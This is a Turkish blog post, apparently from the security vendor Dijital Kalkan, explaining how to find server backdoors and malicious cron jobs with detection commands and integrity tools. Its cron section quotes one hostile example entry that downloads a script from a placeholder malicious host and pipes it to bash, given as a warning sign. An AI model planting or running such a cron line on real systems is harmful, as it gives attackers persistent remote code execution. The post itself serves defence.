Sunucudaki Gizli Backdoor ve Zararlı Cron Job'ları Tespit Etme Yöntemleri
Sunucu güvenliği, yalnızca güçlü şifreler ve güncel yazılımlarla sağlanamaz. Saldırganlar, sisteme sızdıktan sonra varlıklarını sürdürmek için backdoor (arka kapı) ve zararlı cron job gibi gizli mekanizmalar kullanır. Bu yazıda, sunucu backdoor tespiti ve zararlı cron job'ların nasıl bulunacağına dair kapsamlı bir rehber sunuyoruz.
1. Backdoor Nedir ve Nasıl Gizlenir?
Backdoor, saldırganın sisteme tekrar erişmesini sağlayan gizli bir yöntemdir. Genellikle web shell'ler, ters bağlantılar (reverse shell), kötü niyetli kullanıcı hesapları veya değiştirilmiş sistem dosyaları şeklinde görülür. Saldırganlar backdoor'ları gizlemek için şu yöntemlere başvurur:
- Meşru dosya adları ve konumları kullanmak (örneğin, /tmp/.cache/ gibi gizli dizinler)
- Dosya izinlerini ve zaman damgalarını değiştirerek fark edilmemek
- Rootkit'ler ile işlemleri ve dosyaları gizlemek
- Mevcut yazılımların zafiyetlerini kullanarak kalıcılık sağlamak
2. Sunucu Backdoor Tespiti İçin Adım Adım Yöntemler
2.1. Şüpheli Dosya ve Dizinleri Bulma
Sunucuda son 24 saat içinde değiştirilen dosyaları listeleyin:
find /var/www -type f -mtime -1 -ls
Özellikle /tmp, /dev/shm ve /var/tmp gibi geçici dizinlerdeki çalıştırılabilir dosyalara dikkat edin. Ayrıca, gizli dosyaları (nokta ile başlayan) kontrol edin:
find / -name "*.php" -o -name "*.sh" -o -name "*.pl" 2>/dev/null | grep -E "^/tmp|^/dev/shm"
2.2. Ağ Bağlantılarını ve Dinlenen Portları İnceleme
Şüpheli dinleme portlarını ve aktif bağlantıları kontrol edin:
netstat -tulpn | grep -v "127.0.0.1"
Özellikle yüksek numaralı portlar (örneğin 4444, 1337) veya bilinmeyen süreçler tarafından açılan portlar backdoor işareti olabilir. lsof -i komutu ile hangi sürecin hangi porta bağlandığını görebilirsiniz.
2.3. Kullanıcı Hesaplarını ve Yetkileri Kontrol Etme
Yetkisiz kullanıcı hesaplarını ve sudo yetkilerini kontrol edin:
cat /etc/passwd
awk -F: '$3 >= 1000 {print $1}' /etc/passwd
grep -v '^#' /etc/sudoers | grep -v '^$'
UID 0 (root) yetkisine sahip olağandışı hesaplar veya /etc/sudoers dosyasında yapılmış değişiklikler dikkat gerektirir.
2.4. Zararlı Cron Job'ları Tespit Etme
Cron job'lar, saldırganların kalıcılık sağlamak için sıkça kullandığı bir yöntemdir. Tüm kullanıcıların cron tablolarını ve sistem genelindeki cron dizinlerini kontrol edin:
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done
ls -la /etc/cron.* /etc/cron.d/ /var/spool/cron/
Özellikle curl, wget veya bash ile uzak sunucudan kod çeken satırlar (* * * * * curl http://kotu.site/script.sh | bash) yüksek risklidir.
2.5. Sistem Dosyalarının Bütünlüğünü Doğrulama
Değiştirilmiş sistem dosyalarını tespit etmek için paket yöneticinizin doğrulama aracını kullanın (örneğin Debian/Ubuntu'da debsums). Ayrıca, rkhunter ve chkrootkit gibi araçlarla rootkit taraması yapın.
3. Otomatik Tespit ve Önleme Stratejileri
Manuel kontroller zaman alıcıdır. Aşağıdaki yöntemlerle süreci otomatikleştirin:
- Dosya Bütünlüğü İzleme (FIM): AIDE veya Tripwire ile kritik dosyalardaki değişiklikleri anında tespit edin.
- Log Analizi: OSSEC veya Fail2ban ile olağandışı oturum açma ve komut çalıştırma girişimlerini izleyin.
- Düzenli Tarama: Haftalık olarak rkhunter, chkrootkit ve clamav taramaları yapın.
- En Az Yetki Prensibi: Kullanıcılara yalnızca gerektiği kadar yetki verin, sudo erişimini kısıtlayın.
Dijital Kalkan Güvencesi
Sunucu backdoor tespiti ve zararlı cron job'ların temizlenmesi, uzmanlık ve sürekli izleme gerektirir. Dijital Kalkan olarak, WordPress ve sunucu güvenliği konusunda uzman ekibimizle size şu hizmetleri sunuyoruz:
- 7/24 sunucu izleme ve tehdit tespiti
- Zararlı yazılım temizleme ve backdoor kaldırma
- Güvenli hosting ve düzenli güvenlik denetimleri
Sunucunuzda şüpheli bir hareketlilik mi var? Hemen bizimle iletişime geçin, profesyonel destek ekibimiz size yardımcı olsun.